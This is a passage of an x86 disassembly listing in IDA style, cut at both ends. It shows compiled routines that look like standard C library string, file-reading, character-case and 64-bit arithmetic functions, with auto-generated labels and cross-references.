ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_416A5D: ; CODE XREF: sub_416881+18Dj ; sub_416881+19Cj ... test edx, edx jz short loc_416A66 mov eax, [ebp+var_4] mov [edx], eax loc_416A66: ; CODE XREF: sub_416881+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_416A74 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_416A74: ; CODE XREF: sub_416881+1E9j mov eax, [ebp+var_8] jmp short loc_416A84 ; --------------------------------------------------------------------------- loc_416A79: ; CODE XREF: sub_416881+66j ; sub_416881+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_416A82 mov [eax], edi loc_416A82: ; CODE XREF: sub_416881+1FDj xor eax, eax loc_416A84: ; CODE XREF: sub_416881+1F6j pop edi pop esi pop ebx leave retn sub_416881 endp ; =============== S U B R O U T I N E ======================================= sub_416A89 proc near ; CODE XREF: sub_405409+4BDp ; sub_40CE55+3641p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416881 add esp, 10h retn sub_416A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AA0 proc near ; CODE XREF: sub_405409+266p ; sub_405409+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_415CF0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41AD3D add esp, 10h leave retn sub_416AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AD4 proc near ; CODE XREF: sub_405409+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_42105C lea eax, [ebp+var_20] push eax call dword_42115C mov ax, [ebp+var_16] cmp ax, word_4694AA jnz short loc_416B39 mov ax, [ebp+var_18] cmp ax, word_4694A8 jnz short loc_416B39 mov ax, [ebp+var_1A] cmp ax, word_4694A6 jnz short loc_416B39 mov ax, [ebp+var_1E] cmp ax, word_4694A2 jnz short loc_416B39 mov ax, [ebp+var_20] cmp ax, word_4694A0 jnz short loc_416B39 mov eax, dword_469498 jmp short loc_416B7E ; --------------------------------------------------------------------------- loc_416B39: ; CODE XREF: sub_416AD4+28j ; sub_416AD4+35j ... lea eax, [ebp+var_CC] push eax call dword_421158 cmp eax, 0FFFFFFFFh jz short loc_416B66 cmp eax, 2 jnz short loc_416B62 cmp [ebp+var_32], 0 jz short loc_416B62 cmp [ebp+var_24], 0 jz short loc_416B62 push 1 pop eax jmp short loc_416B69 ; --------------------------------------------------------------------------- loc_416B62: ; CODE XREF: sub_416AD4+7Aj ; sub_416AD4+81j ... xor eax, eax jmp short loc_416B69 ; --------------------------------------------------------------------------- loc_416B66: ; CODE XREF: sub_416AD4+75j or eax, 0FFFFFFFFh loc_416B69: ; CODE XREF: sub_416AD4+8Cj ; sub_416AD4+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4694A0 movsd movsd movsd movsd pop edi mov dword_469498, eax pop esi loc_416B7E: ; CODE XREF: sub_416AD4+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41B7EE mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_416BAE mov [ecx], eax locret_416BAE: ; CODE XREF: sub_416AD4+D6j leave retn sub_416AD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BB0 proc near ; CODE XREF: sub_405A89+4Ep ; sub_406C3E+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_416BD4 xor eax, eax jmp loc_416C7D ; --------------------------------------------------------------------------- loc_416BD4: ; CODE XREF: sub_416BB0+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416BE7 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_416BF3 ; --------------------------------------------------------------------------- loc_416BE7: ; CODE XREF: sub_416BB0+2Dj mov [ebp+arg_C], 1000h jmp short loc_416BF3 ; --------------------------------------------------------------------------- loc_416BF0: ; CODE XREF: sub_416BB0+C4j mov ecx, [ebp+arg_0] loc_416BF3: ; CODE XREF: sub_416BB0+35j ; sub_416BB0+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_416C25 mov eax, [esi+4] test eax, eax jz short loc_416C25 cmp ecx, eax mov edi, ecx jb short loc_416C0A mov edi, eax loc_416C0A: ; CODE XREF: sub_416BB0+56j push edi push dword ptr [esi] push ebx call sub_4155D0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_416C70 ; --------------------------------------------------------------------------- loc_416C25: ; CODE XREF: sub_416BB0+49j ; sub_416BB0+50j cmp ecx, [ebp+arg_C] jb short loc_416C58 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_416C3B xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_416C3B: ; CODE XREF: sub_416BB0+80j push eax push ebx push dword ptr [esi+10h] call sub_41B989 add esp, 0Ch test eax, eax jz short loc_416C82 cmp eax, 0FFFFFFFFh jz short loc_416C88 sub [ebp+arg_0], eax add ebx, eax jmp short loc_416C70 ; --------------------------------------------------------------------------- loc_416C58: ; CODE XREF: sub_416BB0+78j push esi call sub_41B8B0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416C8C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_416C70: ; CODE XREF: sub_416BB0+73j ; sub_416BB0+A6j cmp [ebp+arg_0], 0 jnz loc_416BF0 mov eax, [ebp+arg_8] loc_416C7D: ; CODE XREF: sub_416BB0+1Fj ; sub_416BB0+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416C82: ; CODE XREF: sub_416BB0+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_416C8C ; --------------------------------------------------------------------------- loc_416C88: ; CODE XREF: sub_416BB0+9Fj or dword ptr [esi+0Ch], 20h loc_416C8C: ; CODE XREF: sub_416BB0+B2j ; sub_416BB0+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_416C7D sub_416BB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C98 proc near ; CODE XREF: sub_405B23+2B2p ; sub_406100+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_416CB1: ; CODE XREF: sub_416C98+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_416CB1 mov edx, [ebp+arg_0] test edx, edx jnz short loc_416CD9 mov edx, dword_4694B0 loc_416CD9: ; CODE XREF: sub_416C98+39j ; sub_416C98+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_416CF9 test al, al jz short loc_416CF9 inc edx jmp short loc_416CD9 ; --------------------------------------------------------------------------- loc_416CF9: ; CODE XREF: sub_416C98+58j ; sub_416C98+5Cj mov ebx, edx loc_416CFB: ; CODE XREF: sub_416C98+81j mov al, [edx] test al, al jz short loc_416D1F movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_416D1B inc edx jmp short loc_416CFB ; --------------------------------------------------------------------------- loc_416D1B: ; CODE XREF: sub_416C98+7Ej and byte ptr [edx], 0 inc edx loc_416D1F: ; CODE XREF: sub_416C98+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4694B0, edx and eax, ebx pop ebx leave retn sub_416C98 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D40 proc near ; CODE XREF: sub_4063B0+1B4p ; sub_407276+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_416DC3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416D64 shr ecx, 2 jnz short loc_416DD1 jmp short loc_416D85 ; --------------------------------------------------------------------------- loc_416D64: ; CODE XREF: sub_416D40+1Bj ; sub_416D40+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_416D92 test al, al jz short loc_416D9A test esi, 3 jnz short loc_416D64 mov ebx, ecx shr ecx, 2 jnz short loc_416DD1 loc_416D80: ; CODE XREF: sub_416D40+8Fj and ebx, 3 jz short loc_416D92 loc_416D85: ; CODE XREF: sub_416D40+22j ; sub_416D40+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_416DBE dec ebx jnz short loc_416D85 loc_416D92: ; CODE XREF: sub_416D40+2Bj ; sub_416D40+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416D9A: ; CODE XREF: sub_416D40+2Fj test edi, 3 jz short loc_416DB4 loc_416DA2: ; CODE XREF: sub_416D40+72j mov [edi], al inc edi dec ecx jz loc_416E36 test edi, 3 jnz short loc_416DA2 loc_416DB4: ; CODE XREF: sub_416D40+60j mov ebx, ecx shr ecx, 2 jnz short loc_416E27 loc_416DBB: ; CODE XREF: sub_416D40+7Fj ; sub_416D40+F4j mov [edi], al inc edi loc_416DBE: ; CODE XREF: sub_416D40+4Dj dec ebx jnz short loc_416DBB pop ebx pop esi loc_416DC3: ; CODE XREF: sub_416D40+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416DC9: ; CODE XREF: sub_416D40+A9j ; sub_416D40+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_416D80 loc_416DD1: ; CODE XREF: sub_416D40+20j ; sub_416D40+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416DC9 test dl, dl jz short loc_416E1B test dh, dh jz short loc_416E11 test edx, 0FF0000h jz short loc_416E07 test edx, 0FF000000h jnz short loc_416DC9 mov [edi], edx jmp short loc_416E1F ; --------------------------------------------------------------------------- loc_416E07: ; CODE XREF: sub_416D40+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_416E1F ; --------------------------------------------------------------------------- loc_416E11: ; CODE XREF: sub_416D40+B1j and edx, 0FFh mov [edi], edx jmp short loc_416E1F ; --------------------------------------------------------------------------- loc_416E1B: ; CODE XREF: sub_416D40+ADj xor edx, edx mov [edi], edx loc_416E1F: ; CODE XREF: sub_416D40+C5j ; sub_416D40+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_416E31 loc_416E27: ; CODE XREF: sub_416D40+79j xor eax, eax loc_416E29: ; CODE XREF: sub_416D40+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_416E29 loc_416E31: ; CODE XREF: sub_416D40+E5j and ebx, 3 jnz short loc_416DBB loc_416E36: ; CODE XREF: sub_416D40+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416D40 endp ; =============== S U B R O U T I N E ======================================= sub_416E3E proc near ; CODE XREF: sub_406C3E+2E2p ; sub_406C3E+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_416EBA mov edi, [esp+8+arg_8] test edi, edi jz short loc_416E5D cmp edi, 1 jz short loc_416E5D cmp edi, 2 jnz short loc_416EBA loc_416E5D: ; CODE XREF: sub_416E3E+13j ; sub_416E3E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_416E74 push esi call sub_41BC19 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_416E74: ; CODE XREF: sub_416E3E+27j push esi call sub_4186E4 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_416E89 and al, 0FCh mov [esi+0Ch], eax jmp short loc_416E9D ; --------------------------------------------------------------------------- loc_416E89: ; CODE XREF: sub_416E3E+42j test al, 1 jz short loc_416E9D test al, 8 jz short loc_416E9D test ah, 4 jnz short loc_416E9D mov dword ptr [esi+18h], 200h loc_416E9D: ; CODE XREF: sub_416E3E+49j ; sub_416E3E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41BB7F add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_416EC7 ; --------------------------------------------------------------------------- loc_416EBA: ; CODE XREF: sub_416E3E+Bj ; sub_416E3E+1Dj mov dword_4694B4, 16h or eax, 0FFFFFFFFh loc_416EC7: ; CODE XREF: sub_416E3E+7Aj pop edi pop esi retn sub_416E3E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ED0 proc near ; CODE XREF: sub_406C3E+2ACp ; sub_406C3E+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_416F01 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_416EFF jz short loc_416F01 dec ecx dec ecx loc_416EFF: ; CODE XREF: sub_416ED0+29j not ecx loc_416F01: ; CODE XREF: sub_416ED0+9j ; sub_416ED0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_416ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416F10 proc near ; CODE XREF: sub_407135+5Cp ; sub_407135+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416FC4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_416F3A loc_416F2B: ; CODE XREF: sub_416F10+28j mov al, [edi] inc edi test al, al jz short loc_416F6B test edi, 3 jnz short loc_416F2B loc_416F3A: ; CODE XREF: sub_416F10+19j ; sub_416F10+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_416F3A mov eax, [edi-4] test al, al jz short loc_416F78 test ah, ah jz short loc_416F73 test eax, 0FF0000h jz short loc_416F6E test eax, 0FF000000h jnz short loc_416F3A loc_416F6B: ; CODE XREF: sub_416F10+20j dec edi jmp short loc_416F7B ; --------------------------------------------------------------------------- loc_416F6E: ; CODE XREF: sub_416F10+52j sub edi, 2 jmp short loc_416F7B ; --------------------------------------------------------------------------- loc_416F73: ; CODE XREF: sub_416F10+4Bj sub edi, 3 jmp short loc_416F7B ; --------------------------------------------------------------------------- loc_416F78: ; CODE XREF: sub_416F10+47j sub edi, 4 loc_416F7B: ; CODE XREF: sub_416F10+5Cj ; sub_416F10+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_416F90 mov ebx, ecx shr ecx, 2 jnz short loc_416FDC jmp short loc_416FAC ; --------------------------------------------------------------------------- loc_416F90: ; CODE XREF: sub_416F10+75j ; sub_416F10+93j mov dl, [esi] inc esi test dl, dl jz short loc_416FCA mov [edi], dl inc edi dec ecx jz short loc_416FC0 test esi, 3 jnz short loc_416F90 mov ebx, ecx shr ecx, 2 jnz short loc_416FDC loc_416FAC: ; CODE XREF: sub_416F10+7Ej ; sub_416F10+CAj mov ecx, ebx and ecx, 3 jz short loc_416FC0 loc_416FB3: ; CODE XREF: sub_416F10+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_416FC2 dec ecx jnz short loc_416FB3 loc_416FC0: ; CODE XREF: sub_416F10+8Bj ; sub_416F10+A1j mov [edi], cl loc_416FC2: ; CODE XREF: sub_416F10+ABj pop ebx pop esi loc_416FC4: ; CODE XREF: sub_416F10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416FCA: ; CODE XREF: sub_416F10+85j ; sub_416F10+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416FD4: ; CODE XREF: sub_416F10+E4j ; sub_416F10+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_416FAC loc_416FDC: ; CODE XREF: sub_416F10+7Cj ; sub_416F10+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416FD4 test dl, dl jz short loc_416FCA test dh, dh jz short loc_417028 test edx, 0FF0000h jz short loc_417018 test edx, 0FF000000h jnz short loc_416FD4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417018: ; CODE XREF: sub_416F10+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417028: ; CODE XREF: sub_416F10+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417040 proc near ; CODE XREF: sub_407276+2A2p ; sub_40CE55+30AFp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_417061 xor eax, eax jmp short loc_417063 ; --------------------------------------------------------------------------- loc_417061: ; CODE XREF: sub_417040+1Bj mov eax, edi loc_417063: ; CODE XREF: sub_417040+1Fj cld pop edi leave retn sub_417040 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_417080 loc_417070: ; CODE XREF: sub_417080+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_417080 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417080 proc near ; CODE XREF: sub_4085D3+DBp ; sub_40CE55+411p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_417086: ; CODE XREF: sub_415AC0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4170AB loc_417098: ; CODE XREF: sub_417080+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_417070 test cl, cl jz short loc_4170F4 test edx, 3 jnz short loc_417098 loc_4170AB: ; CODE XREF: sub_417080+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4170B6: ; CODE XREF: sub_417080+61j ; sub_417080+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4170F8 and eax, 81010100h jz short loc_4170B6 and eax, 1010100h jnz short loc_4170F2 and esi, 80000000h jnz short loc_4170B6 loc_4170F2: ; CODE XREF: sub_417080+68j ; sub_417080+81j ... pop esi pop edi loc_4170F4: ; CODE XREF: sub_417080+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4170F8: ; CODE XREF: sub_417080+5Aj mov eax, [edx-4] cmp al, bl jz short loc_417135 test al, al jz short loc_4170F2 cmp ah, bl jz short loc_41712E test ah, ah jz short loc_4170F2 shr eax, 10h cmp al, bl jz short loc_417127 test al, al jz short loc_4170F2 cmp ah, bl jz short loc_417120 test ah, ah jz short loc_4170F2 jmp short loc_4170B6 ; --------------------------------------------------------------------------- loc_417120: ; CODE XREF: sub_417080+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_417127: ; CODE XREF: sub_417080+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41712E: ; CODE XREF: sub_417080+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417135: ; CODE XREF: sub_417080+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_417080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41713C proc near ; CODE XREF: sub_4085D3+AFp ; sub_40CE55+4479p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_417150 xor eax, eax jmp short loc_417186 ; --------------------------------------------------------------------------- loc_417150: ; CODE XREF: sub_41713C+Ej dec [ebp+arg_4] push esi jz short loc_417180 mov esi, [ebp+arg_8] loc_417159: ; CODE XREF: sub_41713C+42j dec dword ptr [esi+4] js short loc_417168 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41716F ; --------------------------------------------------------------------------- loc_417168: ; CODE XREF: sub_41713C+20j push esi call sub_41B8B0 pop ecx loc_41716F: ; CODE XREF: sub_41713C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41718A mov [edi], al inc edi cmp al, 0Ah jz short loc_417180 dec [ebp+arg_4] jnz short loc_417159 loc_417180: ; CODE XREF: sub_41713C+18j ; sub_41713C+3Dj ... and byte ptr [edi], 0 loc_417183: ; CODE XREF: sub_41713C+55j mov eax, ebx pop esi loc_417186: ; CODE XREF: sub_41713C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41718A: ; CODE XREF: sub_41713C+36j cmp edi, [ebp+arg_0] jnz short loc_417180 xor ebx, ebx jmp short loc_417183 sub_41713C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417193 proc near ; CODE XREF: sub_409B24+6p ; sub_409B42+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_469548, 0 push ebx push esi push edi jnz short loc_4171C0 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_417259 cmp eax, 5Ah jg loc_417259 add eax, 20h jmp loc_417259 ; --------------------------------------------------------------------------- loc_4171C0: ; CODE XREF: sub_417193+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4171F4 cmp dword_437F9C, esi jle short loc_4171E2 push esi push ebx call sub_418556 pop ecx pop ecx jmp short loc_4171EC ; --------------------------------------------------------------------------- loc_4171E2: ; CODE XREF: sub_417193+42j mov eax, off_437D90 mov al, [eax+ebx*2] and eax, esi loc_4171EC: ; CODE XREF: sub_417193+4Dj test eax, eax jnz short loc_4171F4 loc_4171F0: ; CODE XREF: sub_417193+ADj mov eax, ebx jmp short loc_417259 ; --------------------------------------------------------------------------- loc_4171F4: ; CODE XREF: sub_417193+3Aj ; sub_417193+5Bj mov edx, off_437D90 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_417218 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_417221 ; --------------------------------------------------------------------------- loc_417218: ; CODE XREF: sub_417193+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_417221: ; CODE XREF: sub_417193+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_469548 call sub_41BD71 add esp, 20h test eax, eax jz short loc_4171F0 cmp eax, esi jnz short loc_41724C movzx eax, [ebp+var_4] jmp short loc_417259 ; --------------------------------------------------------------------------- loc_41724C: ; CODE XREF: sub_417193+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_417259: ; CODE XREF: sub_417193+16j ; sub_417193+1Fj ... pop edi pop esi pop ebx leave retn sub_417193 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417260 proc near ; CODE XREF: sub_40AA1B+3Dp ; sub_40C218+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417281 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4172D1 ; --------------------------------------------------------------------------- loc_417281: ; CODE XREF: sub_417260+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41728F: ; CODE XREF: sub_417260+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41728F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_4172BA cmp edx, [esp+4+arg_4] ja short loc_4172BA jb short loc_4172C2 cmp eax, [esp+4+arg_0] jbe short loc_4172C2 loc_4172BA: ; CODE XREF: sub_417260+4Aj ; sub_417260+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4172C2: ; CODE XREF: sub_417260+52j ; sub_417260+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4172D1: ; CODE XREF: sub_417260+1Fj pop ebx retn 10h sub_417260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4172E0 proc near ; CODE XREF: sub_40AA1B+24p ; sub_40C218+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_417302 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_417343 ; --------------------------------------------------------------------------- loc_417302: ; CODE XREF: sub_4172E0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_417310: ; CODE XREF: sub_4172E0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_417310 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41733E cmp edx, [esp+8+arg_4] ja short loc_41733E jb short loc_41733F cmp eax, [esp+8+arg_0] jbe short loc_41733F loc_41733E: ; CODE XREF: sub_4172E0+4Ej ; sub_4172E0+54j dec esi loc_41733F: ; CODE XREF: sub_4172E0+56j ; sub_4172E0+5Cj xor edx, edx mov eax, esi loc_417343: ; CODE XREF: sub_4172E0+20j pop esi pop ebx retn 10h sub_4172E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417348 proc near ; CODE XREF: sub_40AAD1+1E3p ; sub_40C682+104p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_415CF0 cmp eax, 1 pop ecx jb short loc_417383 cmp byte ptr [ebx+1], 3Ah jnz short loc_417383 mov esi, [ebp+arg_4] test esi, esi jz short loc_41737F push 2 push ebx push esi call sub_41C3A0 add esp, 0Ch and byte ptr [esi+2], 0 